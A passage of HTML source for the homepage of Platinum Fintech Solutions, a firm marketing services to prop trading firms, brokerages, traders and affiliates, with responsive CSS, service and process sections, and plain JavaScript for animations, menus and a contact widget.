        }
        
        /* Small Devices (768px to 991px) */
        @media (max-width: 991px) {
            .hero {
                flex-direction: column;
                text-align: center;
                padding: 8rem 5% 3rem 5%;

}
            
            .hero-content {
                padding-right: 0;
                margin-bottom: 3rem;
            }
            
            .hero h1 {
                font-size: 2.8rem;
            }
            
            .hero p {
                max-width: 100%;
                font-size: 1rem;
            }
            
            .company-name {
                font-size: 2.2rem;
            }
            
            .tagline {
                font-size: 1.3rem;
            }
            
            .logo-arrow {
                height: 150px;
            }
            
            .service-boxes {
                grid-template-columns: 1fr;
            }
            
            .cta-buttons, .cta-buttons1 {
                flex-direction: column;
                align-items: center;
            }
            
            .btn {
                width: 100%;
                max-width: 300px;
            }
            
            /* HIDE PROCESS GRID AND SHOW CIRCLE LAYOUT */
            .process-grid {
                display: none;
            }
            
            .circle-features {
                display: flex;
            }
            
            .circle-feature {
                flex-direction: row;
                gap: 30px;
            }
            .step-circle h3 {
                font-size: 0.6rem;
            }

.circle-container {
                flex: 0 0 150px;
            }
            
            .feature-circle {
                width: 140px;
                height: 140px;
            }
            
            .circle-icon {
                font-size: 2rem;
            }
            
            .circle-title {
                font-size: 1rem;
            }
            
            .feature-text {
                padding: 25px;
            }
            
            .feature-text h3 {
                font-size: 1.3rem;
            }
            
            .feature-text p {
                font-size: 0.95rem;
            }
            
            .process-content-box {
                display: none;
            }
            
            .nav-links, .contact-tab {
                display: none;
            }
            
            .mobile-menu-btn {
                display: block;
            }
            
            .footer-content {
                flex-direction: column;
                /* gap: 2.5rem; */
                text-align: center;
                
            }
        }
        
        /* Extra Small Devices (767px and below) */
        @media (max-width: 767px) {
            .hero h1 {
                font-size: 2.2rem;
            }
            
            .hero p {
                font-size: 0.95rem;
            }
            
            .company-name {
                font-size: 1.8rem;
            }
            
            .tagline {
                font-size: 1.1rem;
                flex-direction: column;
                gap: 0.5rem;
            }
            
            .logo-arrow {
                height: 120px;
            }
            
            .section-title h2 {
                font-size: 1.5rem;
            }
            
            .section-title p {
                font-size: 1rem;
            }
            
            .service-box {
                padding: 1.5rem;
            }
            
            .service-box h3 {
                font-size: 1.2rem;
            }
            
            .service-box p {
                font-size: 0.95rem;
            }
            
            /* ADJUST CIRCLE LAYOUT FOR SMALLER SCREENS */
            .circle-feature {
                flex-direction: column;
                gap: 20px;
                text-align: center;
            }
            
            .circle-container {
                flex: 0 0 auto;
            }
            
            .feature-circle {
                width: 140px;
                height: 140px;
            }
            
            .circle-icon {
                font-size: 1.8rem;
            }
            
            .circle-title {
                font-size: 0.9rem;
            }
            
            .feature-text {
                padding: 20px;
            }
            
            .feature-text h3 {
                font-size: 1.2rem;
            }
            
            .feature-text p {
                font-size: 0.9rem;
            }
            
            .cta {
                padding: 70px 0;
            }
            
            .services, .process {
                padding: 4rem 5%;
            }
            
            .footer-logo {
                height: 80px;
            }
            
            .contact-widget {
                bottom: 1rem;
                right: 1rem;
            }
            
            .widget-button {
                width: 55px;
                height: 55px;
                font-size: 1.2rem;
            }
            
            .widget-options {
                min-width: 200px;
                padding: 1rem;
            }
            
            .widget-option {
                font-size: 0.8rem;
                padding: 0.6rem 0.8rem;
            }
            
            .logo {
                height: 80px;
            }
            
            header {
                padding: 1rem 5%;
            }
            
            header.scrolled {
                padding: 0.7rem 5%;
            }
        }
        
        /* Very Small Devices (480px and below) */
        @media (max-width: 480px) {
            .hero h1 {
                font-size: 1.8rem;
            }
            
            .hero p {
                font-size: 0.9rem;
            }
            
            .company-name {
                font-size: 1.5rem;
            }
            
            .tagline {
                font-size: 1rem;
            }
            
            .logo-arrow {
                height: 100px;
            }
            
            .section-title h2 {
                font-size: 1.3rem;
            }
            
            .section-title p {
                font-size: 0.9rem;
            }
            
            .service-box {
                padding: 1.2rem;
            }
            
            .service-box h3 {
                font-size: 1.1rem;
            }
            
            .service-box p {
                font-size: 0.9rem;
            }
            
            .service-actions {
                flex-direction: column;
            }
            
            .btn {
                padding: 0.6rem 1.2rem;
                font-size: 0.85rem;
            }
            
            /* FURTHER ADJUST CIRCLE LAYOUT FOR VERY SMALL SCREENS */
            .feature-circle {
                width: 120px;
                height: 120px;
            }
            
            .circle-icon {
                font-size: 1.5rem;
            }
            
            .circle-title {
                font-size: 0.8rem;
            }
            
            .feature-text {
                padding: 15px;
            }
            
            .feature-text h3 {
                font-size: 1.1rem;
            }
            
            .feature-text p {
                font-size: 0.85rem;
            }
            
            .cta {
                padding: 50px 0;
            }
            
            .footer-logo {
                height: 60px;
            }
            
            .logo {
                height: 60px;
            }
            
            .mobile-menu {
                width: 85%;
            }
        }
    </style>
</head>
<body>
    
    <div class="video-background">
        <video autoplay muted loop playsinline>
            
            <source src="img/video/v5.mp4" type="video/mp4">
            Your browser does not support the video tag.
        </video>
    </div>
    
    
    <div class="video-overlay"></div>

<header id="header">
        <div class="logo-container">
            <a href="/">
              <img src="img/logo/logo-m.png" alt="Platinum Fintech Solutions" class="logo">
            </a>
        </div>
        <nav class="nav-links">
            <a href="/">Home</a>
            <a href="whychooseus.html">Why Choose Us</a>
            <a href="services.html">For Prop Firms & Brokers</a>
            <a href="traders.html">For Traders & Affiliates</a>
        </nav>
        <a href="contact.html" class="contact-tab">Contact Us</a>
        <button class="mobile-menu-btn">
            <i class="fas fa-bars"></i>
        </button>
    </header>

<div class="mobile-menu-overlay" id="mobileMenuOverlay"></div>
    <div class="mobile-menu" id="mobileMenu">
        <div class="mobile-menu-header">
            <img src="img/logo/logo-m.png" alt="Platinum Fintech Solutions" class="logo" style="height: 60px;">
            <button class="mobile-menu-close" id="mobileMenuClose">
                <i class="fas fa-times"></i>
            </button>
        </div>
        <div class="mobile-menu-links">
            <a href="/">Home</a>
            <a href="whychooseus.html">Why Choose Us</a>
            <a href="services.html">For Prop Firms & Brokers</a>
            <a href="traders.html">For Traders & Affiliates</a>
            <a href="contact.html">Contact Us</a>
        </div>
    </div>

<section class="hero">
        <div class="hero-content" data-aos="fade-right" data-aos-duration="1000" data-aos-delay="200">
            <div class="logo-text">
                <img src="img/hero-img.png" alt="Platinum Fintech Solutions" class="logo-arrow" data-aos="zoom-in" data-aos-duration="1000">
                <div class="company-name" data-aos="fade-up" data-aos-duration="800" data-aos-delay="300">Platinum Fintech Solutions</div>
                <div class="tagline stagger-text">
                    <span data-aos="fade-up" data-aos-duration="800" data-aos-delay="400">Trusted.</span>
                    <span data-aos="fade-up" data-aos-duration="800" data-aos-delay="500">Connected.</span>
                    <span data-aos="fade-up" data-aos-duration="800" data-aos-delay="600">Maximized Profits.</span>
                </div>
            </div>
            <p class="fade-in-text" data-aos="fade-up" data-aos-duration="800" data-aos-delay="700">We are a one-stop shop and the turnkey partner for prop firms, brokerages, affiliates and traders. <br/><br/>Our main focus is on helping you cut costs, streamline operations, and maximize profits through smarter technology and trusted industry connections!</p>
            <div class="cta-buttons1" data-aos="fade-up" data-aos-duration="800" data-aos-delay="800">
                <a href="https://calendly.com/platinumfintechsolutions" class="btn btn-primary"><i class="far fa-calendar-alt"></i> Book a Discovery Call</a>
                <a href="https://api.whatsapp.com/send?phone=35699081987" class="btn btn-outline"><i class="far fa-comment-dots"></i> Start Chat Now</a>
            </div>
        </div>
    </section>

<section class="services">
        <div class="section-title" data-aos="fade-up" data-aos-duration="1000">
            <h2>Discover how we can help your business thrive in today's competitive market!</h2>
        </div>
        <div class="service-boxes">
            <div class="service-box" data-aos="fade-up" data-aos-duration="800" data-aos-delay="100">
                <h3>Starting a new prop firm/brokerage, or are you looking to scale an existing brand?</h3>
                <p>We help you launch smarter, cut costs, and grow revenue. Let's build something that works!</p>
                <div class="service-actions">
                    <a href="services.html" class="btn btn-outline">Read More</a>
                    <a href="contact.html" class="btn btn-primary">Contact Us</a>
                </div>
            </div>
            <div class="service-box" data-aos="fade-up" data-aos-duration="800" data-aos-delay="200">
                <h3>Is your brokerage profitting less than 80% from your book vs the monthly deposits? </h3>
                <p>We can help you optimize your risk management, dealing strategy, and secure better pricing from Tier-1 liquidity providers!</p>
                <div class="service-actions">
                    <a href="services.html" class="btn btn-outline">Read More</a>
                    <a href="contact.html" class="btn btn-primary">Contact Us</a>
                </div>
            </div>
            <div class="service-box" data-aos="fade-up" data-aos-duration="800" data-aos-delay="300">
                <h3>Is your prop firm struggling with high monthly payouts?</h3>
                <p>We can help you reduce the pressure or offset 100% of your payout costs through custom strategies and solutions!</p>
                <div class="service-actions">
                    <a href="services.html" class="btn btn-outline">Read More</a>
                    <a href="contact.html" class="btn btn-primary">Contact Us</a>
                </div>
            </div>
            <div class="service-box" data-aos="fade-up" data-aos-duration="800" data-aos-delay="400" >
                <h3>Are you a broker or a prop, and would like to improve your payment structure and solution?</h3>
                <p> Let us help you with making sure that you get a higher payment acceptance ratio and also decrease your cost per transaction!</p>
                <div class="service-actions">
                    <a href="#" class="btn btn-outline">Read More</a>
                    <a href="contact.html" class="btn btn-primary">Contact Us</a>
                </div>
            </div>
            <div class="service-box" data-aos="fade-up" data-aos-duration="800" data-aos-delay="500">
                <h3>Are you a prop firm or broker and would like to get MT5?</h3>
                <p>We can help set up the structure needed and also the application process. We handle the process from a to z on your behalf!</p>
                <div class="service-actions">
                    <a href="services.html" class="btn btn-outline">Read More</a>
                    <a href="contact.html" class="btn btn-primary">Contact Us</a>
                </div>
            </div>

<div class="service-box" data-aos="fade-up" data-aos-duration="800" data-aos-delay="500">
                <h3>Are you a trader, an affiliate, or an affiliate manager looking for better deals?</h3>
                <p>Let us help you get connected to top-tier brands and unlock exclusive partnerships with better payouts and better affiliate commission!</p>
                <div class="service-actions">
                    <a href="traders.html" class="btn btn-outline">Read More</a>
                    <a href="contact.html" class="btn btn-primary">Contact Us</a>
                </div>
            </div>
        </div>
    </section>

<section class="process">
        <div class="section-title" data-aos="fade-up" data-aos-duration="1000">
            <h2>How We Work</h2>
            <p>Our streamlined process ensures your success from concept to execution and beyond!</p>
        </div>
        
        <div class="process-container">
            
            <div class="process-grid">
                <div class="process-step active" data-step="1" data-aos="zoom-in" data-aos-duration="800" data-aos-delay="100">
                    <div class="step-circle">
                        <div class="step-number">1</div>
                        <div class="step-icon">
                            <i class="fas fa-phone-alt"></i>
                        </div>
                        <h3>Free Discovery <br/>Call</h3>
                    </div>
                </div>
                
                <div class="process-step" data-step="2" data-aos="zoom-in" data-aos-duration="800" data-aos-delay="200">
                    <div class="step-circle">
                        <div class="step-number">2</div>
                        <div class="step-icon">
                            <i class="fas fa-clipboard-list"></i>
                        </div>
                        <h3>Tailor Made Strategy<br/> Proposal</h3>
                    </div>
                </div>
                
                <div class="process-step" data-step="3" data-aos="zoom-in" data-aos-duration="800" data-aos-delay="300">
                    <div class="step-circle">
                        <div class="step-number">3</div>
                        <div class="step-icon">
                            <i class="fas fa-chart-line"></i>
                        </div>
                        <h3>Aligning On Timeline<br/> Strategy And Costs</h3>
                    </div>
                </div>
                
                <div class="process-step" data-step="4" data-aos="zoom-in" data-aos-duration="800" data-aos-delay="400">
                    <div class="step-circle">
                        <div class="step-number">4</div>
                        <div class="step-icon">
                            <i class="fas fa-cogs"></i>
                        </div>
                        <h3>Execution And<br/> Optimization</h3>
                    </div>
                </div>
                
                <div class="process-step" data-step="5" data-aos="zoom-in" data-aos-duration="800" data-aos-delay="500">
                    <div class="step-circle">
                        <div class="step-number">5</div>
                        <div class="step-icon">
                            <i class="fas fa-hands-helping"></i>
                        </div>
                        <h3>Growth And<br/> Support</h3>
                    </div>
                </div>
            </div>
            
            
            <div class="circle-features">
                <div class="circle-feature" data-aos="fade-right" data-aos-duration="800">
                    <div class="circle-container">
                        <div class="feature-circle">
                            <div class="circle-icon">
                                <i class="fas fa-phone-alt"></i>
                            </div>
                            <div class="circle-title">Free Discovery<br/> Call</div>
                        </div>
                    </div>
                    <div class="feature-text">
                        <h3>Free Discovery Call</h3>
                        <p>We start by understanding your vision, goals, and challenges. This helps us identify exactly what your business needs.</p>
                    </div>
                </div>
                
                <div class="circle-feature" data-aos="fade-left" data-aos-duration="800" data-aos-delay="100">
                    <div class="circle-container">
                        <div class="feature-circle">
                            <div class="circle-icon">
                                <i class="fas fa-clipboard-list"></i>
                            </div>
                            <div class="circle-title">Strategy <br/>Proposal</div>
                        </div>
                    </div>
                    <div class="feature-text">
                        <h3>Tailor Made Strategy Proposal</h3>
                        <p>Based on your model, we build a clear and actionable roadmap — from structure to execution.</p>
                    </div>
                </div>
                
                <div class="circle-feature" data-aos="fade-right" data-aos-duration="800" data-aos-delay="200">
                    <div class="circle-container">
                        <div class="feature-circle">
                            <div class="circle-icon">
                                <i class="fas fa-chart-line"></i>
                            </div>
                            <div class="circle-title">Timeline & <br/>Costs</div>
                        </div>
                    </div>
                    <div class="feature-text">
                        <h3>Aligning On Timeline Strategy And Costs</h3>
                        <p>We map out your full project plan: including timeline, milestones, and costs — so everything is transparent and aligned before we move forward.</p>
                    </div>
                </div>
                
                <div class="circle-feature" data-aos="fade-left" data-aos-duration="800" data-aos-delay="300">
                    <div class="circle-container">
                        <div class="feature-circle">
                            <div class="circle-icon">
                                <i class="fas fa-cogs"></i>
                            </div>
                            <div class="circle-title">Execution & <br/>Optimization</div>
                        </div>
                    </div>
                    <div class="feature-text">
                        <h3>Execution And Optimization</h3>
                        <p>Once live, we monitor performance, streamline workflows, and ensure efficiency across all operations.</p>
                    </div>
                </div>
                
                <div class="circle-feature" data-aos="fade-right" data-aos-duration="800" data-aos-delay="400">
                    <div class="circle-container">
                        <div class="feature-circle">
                            <div class="circle-icon">
                                <i class="fas fa-hands-helping"></i>
                            </div>
                            <div class="circle-title">Growth &<br/> Support</div>
                        </div>
                    </div>
                    <div class="feature-text">
                        <h3>Growth And Support</h3>
                        <p>We remain your strategic partner — helping you adapt, expand, and continuously improve profitability.</p>
                    </div>
                </div>
            </div>
            
            
            <div class="process-content-box" id="processContentBox" data-aos="fade-up" data-aos-duration="800" data-aos-delay="600">
                <div class="content-step active" data-step="1">
                    <h3>Free Discovery<br/> Call</h3>
                    <p>We start by understanding your vision, goals, and challenges. This helps us identify exactly what your business needs.</p>
                </div>
                <div class="content-step" data-step="2">
                    <h3>Tailor Made Strategy <br/>Proposal</h3>
                    <p>Based on your model, we build a clear and actionable roadmap — from structure to execution.</p>
                </div>
                <div class="content-step" data-step="3">
                    <h3>Aligning On Timeline<br/> Strategy And Costs</h3>
                    <p>We map out your full project plan: including timeline, milestones, and costs — so everything is transparent and aligned before we move forward.</p>
                </div>
                <div class="content-step" data-step="4">
                    <h3>Execution And<br/> Optimization</h3>
                    <p>Once live, we monitor performance, streamline workflows, and ensure efficiency across all operations.</p>
                </div>
                <div class="content-step" data-step="5">
                    <h3>Growth And <br/>Support</h3>
                    <p>We remain your strategic partner — helping you adapt, expand, and continuously improve profitability.</p>
                </div>
            </div>
        </div>
    </section>

<section class="cta">
        <div class="container" data-aos="zoom-in" data-aos-duration="1000" data-aos-delay="200">
            <h2 data-aos="fade-up" data-aos-duration="800">Ready to Work with a Serious Partner?</h2>
            <p data-aos="fade-up" data-aos-duration="800" data-aos-delay="100">If you're ready to build something that lasts, we're here to make it happen - Get in touch!</p>
            <div class="cta-buttons" data-aos="fade-up" data-aos-duration="800" data-aos-delay="200">
                <a href="https://calendly.com/platinumfintechsolutions" class="btn btn-primary"><i class="far fa-calendar-alt"></i> Book a Discovery Call</a>
                <a href="https://api.whatsapp.com/send?phone=35699081987" class="btn btn-outline"><i class="far fa-comment-dots"></i> Start Chat Now</a>
            </div>
        </div>
    </section>
    
    
    <footer>
        <div class="footer-content">
            <div >
                <a href="/">
                    <img src="img/logo/logo-m.png" alt="Platinum Fintech Solutions" class="footer-logo" style="justify-content: center;">
                </a>
            </div>
            <div class="copyright" >
                © 2024 Platinum Fintech Solutions. All rights reserved.
            </div>
        </div>
    </footer>

<div class="contact-widget">
        <div class="widget-options" id="widgetOptions">
            <a href="https://api.whatsapp.com/send?phone=35699081987" target="_blank" class="widget-option">
                <i class="fab fa-whatsapp"></i>
                <span>Chat on WhatsApp</span>
            </a>
            <a href="https://calendly.com/platinumfintechsolutions" target="_blank" class="widget-option">
                <i class="fas fa-calendar-alt"></i>
                <span>Book a Call</span>
            </a>
            <a href="contact.html" target="_blank" class="widget-option">
                <i class="fas fa-envelope"></i>
                <span>Send Email</span>
            </a>
        </div>
        <div class="widget-button" id="widgetButton">
            <i class="fas fa-comments"></i>
        </div>
    </div>

<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
    <script>
        // Initialize AOS with enhanced settings
        AOS.init({
            duration: 1000,
            once: true,
            offset: 100,
            easing: 'ease-out-cubic',
            mirror: false
        });

// Contact Widget Hover Functionality
        const widgetButton = document.getElementById('widgetButton');
        const widgetOptions = document.getElementById('widgetOptions');
        
        // Show options on hover
        widgetButton.addEventListener('mouseenter', function() {
            widgetOptions.classList.add('active');
        });
        
        // Hide options when mouse leaves the widget area
        document.querySelector('.contact-widget').addEventListener('mouseleave', function() {
            widgetOptions.classList.remove('active');
        });

// Mobile menu functionality
        const mobileMenuBtn = document.querySelector('.mobile-menu-btn');
        const mobileMenu = document.getElementById('mobileMenu');
        const mobileMenuOverlay = document.getElementById('mobileMenuOverlay');
        const mobileMenuClose = document.getElementById('mobileMenuClose');
        
        mobileMenuBtn.addEventListener('click', function() {
            mobileMenu.classList.add('active');
            mobileMenuOverlay.classList.add('active');
            document.body.style.overflow = 'hidden';
        });
        
        mobileMenuClose.addEventListener('click', function() {
            mobileMenu.classList.remove('active');
            mobileMenuOverlay.classList.remove('active');
            document.body.style.overflow = 'auto';
        });
        
        mobileMenuOverlay.addEventListener('click', function() {
            mobileMenu.classList.remove('active');
            mobileMenuOverlay.classList.remove('active');
            document.body.style.overflow = 'auto';
        });

// Header scroll effect
        window.addEventListener('scroll', function() {
            const header = document.getElementById('header');
            if (window.scrollY > 50) {
                header.classList.add('scrolled');
            } else {
                header.classList.remove('scrolled');
            }
        });

// Process step interaction (for large screens only)
        document.querySelectorAll('.process-step').forEach(step => {
            step.addEventListener('mouseenter', function() {
                const stepNumber = this.getAttribute('data-step');
                
                // Remove active class from all steps
                document.querySelectorAll('.process-step').forEach(s => {
                    s.classList.remove('active');
                });
                
                // Add active class to current step
                this.classList.add('active');
                
                // Update content box
                const contentBox = document.getElementById('processContentBox');
                const contentSteps = contentBox.querySelectorAll('.content-step');
                
                // Hide all content steps
                contentSteps.forEach(content => {
                    content.classList.remove('active');
                });
                
                // Show the corresponding content step
                const targetContent = contentBox.querySelector(`.content-step[data-step="${stepNumber}"]`);
                if (targetContent) {
                    targetContent.classList.add('active');
                }
            });
        });

// Set first step as active by default on page load
        document.addEventListener('DOMContentLoaded', function() {
            const firstStep = document.querySelector('.process-step[data-step="1"]');
            if (firstStep) {
                firstStep.classList.add('active');
            }
            
            // Add scroll-triggered animations for elements
            const observerOptions = {
                threshold: 0.1,
                rootMargin: '0px 0px -50px 0px'
            };
            
            const observer = new IntersectionObserver(function(entries) {
                entries.forEach(entry => {
                    if (entry.isIntersecting) {
                        entry.target.style.opacity = '1';
                        entry.target.style.transform = 'translateY(0)';
                    }
                });
            }, observerOptions);
            
            // Observe elements for scroll animations
            document.querySelectorAll('.service-box, .process-step, .process-content-box, .circle-feature').forEach(el => {
                observer.observe(el);
            });
        });
    </script>
</body>
</html>